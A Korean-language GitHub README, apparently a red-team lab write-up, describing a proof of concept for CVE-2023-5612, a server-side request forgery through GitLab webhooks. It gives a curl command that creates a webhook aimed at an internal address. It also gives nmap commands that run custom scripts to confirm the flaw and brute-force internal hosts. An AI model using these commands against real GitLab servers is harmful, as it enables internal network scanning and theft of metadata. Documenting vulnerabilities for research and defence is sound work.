
CVE-2023-5612(GitLab CE/EE 웹훅 SSRF)에 대한 개념 증명 및 분석. 내부 URL을 검증하고 무차별 대입하기 위한 curl PoC 단계와 사용자 정의 NSE 스크립트를 포함합니다.
GitLab CE/EE의 SSRF 취약점을 통해 유효한 프로젝트 Maintainer 권한을 가진 공격자가 악성 웹훅 URL을 사용하여 임의의 내부 서비스로 조작된 요청을 보낼 수 있습니다. 이를 악용하면 내부 네트워크 스캔, 메타데이터 유출 또는 추가 피벗이 가능합니다.
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- 테스트 전용으로 배포된 가상 머신 내의 Kali Linux
- Docker를 통해 실행된 취약한 GitLab CE 인스턴스 (포트 8080)
- GitLab 내부:
- 테스트 프로젝트 생성
- Maintainer 권한을 가진 Personal Access Token (glpat-...) 생성
- 내부 SSRF 타겟을 위해 127.0.0.1:8888에 최소 HTTP 서비스 실행
- curl을 통한 수동 취약점 확인 (PoC 참조)
- 사용자 정의 NSE 스크립트 작성:
gitlab-ssrf.nse: SSRF 정밀 검사
gitlab-ssrf-brute.nse: 내부 주소 자동 브루트포스
- nmap -d 및 --script-trace를 사용한 테스트로 API 동작 분석 및 결과 기록
- 내부 서비스로부터 401 Unauthorized 응답 수신, 이는 SSRF 성공을 나타냄
- 성공적인 요청은 `201 Created`를 반환하거나 `401 Unauthorized`와 같은 오류를 반환하며, 이는 SSRF 접근을 나타냅니다.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
**CVE-2023-5612** 취약점 연구 과정에서 GitLab CE API를 통해 내부 주소에 접근하는 성공적인 SSRF 공격 시나리오가 재현되었습니다. 이는 웹훅의 기능을 제한하고 서버 측에서 URL 검증을 구현하는 것이 얼마나 중요한지 보여줍니다.
.
├── gitlab-ssrf.nse # 수동 SSRF 검증용 NSE 스크립트
├── gitlab-ssrf-brute.nse # 내부 호스트/포트 스캔용 NSE 브루트 스크립트
├── screenshots/ # PoC 실행 및 취약점 확인 스크린샷
└── README.md # 이 파일
Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst
모든 테스트는 의도적으로 취약한 버전에 대해 격리된 실험실 환경에서 수행되었습니다. 승인되지 않은 시스템에 대해 이를 사용하지 마십시오. 윤리적 해킹 원칙을 준수하십시오.